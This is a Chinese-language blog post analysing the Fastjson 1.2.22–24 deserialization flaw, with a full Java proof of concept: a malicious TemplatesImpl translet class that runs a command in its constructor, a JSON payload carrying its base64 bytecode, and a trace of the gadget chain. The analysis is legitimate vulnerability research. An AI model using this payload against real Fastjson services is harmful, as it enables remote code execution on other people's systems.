zoukankan      html  css  js  c++  java
  • Fastjson 1.2.22-24 反序列化漏洞分析

    0x00 废话

    balabala

    开始

    0x01 简单介绍

    介绍:FastJson是一款由阿里开发的JSON库
    影响版本:1.2.22-24
    官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
    补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

    本地环境:
    win10
    idea64 2018.2.5
    jdk 1.8
    fastjson 1.22

    FastJson的简单使用

    先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:

    package ka1n4t.test;
    
    public class Student {
        public String name;
        private int age;
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    }
    

    Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:

    package ka1n4t.test;
    
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.JSONObject;
    
    public class learnFJ {
        public static void main(String args[]) {
            String text = "{"@type":"ka1n4t.test.Student","name":"ZhangSan","age":123}";
            Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
            System.out.println(obj1.getName());
        }
    }
    

    结果:

    0x02 原理分析

    分析POC

    先看一下用于反序列化的恶意类evilClass1.java:

    package ka1n4t.poc;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {
    
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
    
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public evilClass1() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    
        public static void main(String[] args) throws IOException {
            evilClass1 helloworld = new evilClass1();
        }
    }
    

    其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:

    package ka1n4t.poc;
    
    import org.apache.commons.io.IOUtils;
    import org.apache.commons.codec.binary.Base64;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    import java.io.ByteArrayOutputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    
    public class vulApp1 {
    
        public static String readClass(String cls){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)), bos);
            } catch (IOException e) {
                e.printStackTrace();
            }
    
            String result = Base64.encodeBase64String(bos.toByteArray());
    
            return result;
        }
    
        public static void bad_method() {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            String evil_path = "D:\Java-App\fastjson-1.2.22\target\classes\ka1n4t\poc\evilClass1.class";
            String evil_code = readClass(evil_path);
    
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
            String text1 = "{"@type":"" + NASTY_CLASS +
                    "","_bytecodes":[""+evil_code+""]," +
                    "'_name':'a.b'," +
                    "'_tfactory':{ }," +
                    ""_outputProperties":{ }}
    ";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        }
    
        public static void main(String args[]) {
            bad_method();
        }
    
    }
    

    核心部分:

    String text1 = "{"@type":"" + NASTY_CLASS +
                    "","_bytecodes":[""+evil_code+""]," +
                    "'_name':'a.b'," +
                    "'_tfactory':{ }," +
                    ""_outputProperties":{ }}
    ";
    
    Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    

    _bytecodes是经过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是经过base64编码的恶意类字节码文件。

    调试分析

    下面来分析一下反序列化TemplatesImpl的调用链,首先经过java的反射机制,到达TemplatesImpl类,调用其getOutputProperties()方法:

    跟进newTransformer()方法,这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法:

    getTransletInstance()方法用于创建一个translet实例,返回这个translet给newTransformer(),然后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:

    先跟进一下defineTransletClasses方法:

    可以看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:

    可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,所以就不再跟进了。

    回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0],然后结束,回到getTransletInstance方法,再看一下图:

    可以看到,455行直接使用了_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload:

    0x03 复现过程

    从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:

    然后会在target/classes/person下生成test.class文件。用同样的方法编译Poc.java。

    配置运行方式

    运行Poc:

    0x04 参考文章

    1.廖新喜 fastjson 远程反序列化poc的构造和分析
    2.Freebuf Fastjson 1.2.24反序列化漏洞分析

  • 相关阅读:
    file is universal (3 slices) but does not contain a(n) armv7s slice error for static libraries on iOS
    WebImageButton does not change images after being enabled in Javascript
    ajax OPTION
    编程遍历页面上所有TextBox控件并给它赋值为string.Empty?
    获取海洋天气预报
    C#线程系列教程(1):BeginInvoke和EndInvoke方法
    js控制只能输入数字和小数点
    Response.AddHeader(,)
    ManualResetEvent的理解
    Convert.ToInt32、int.Parse(Int32.Parse)、int.TryParse、(int) 区别
  • 原文地址:https://www.cnblogs.com/litlife/p/9986427.html
Copyright © 2011-2022 走看看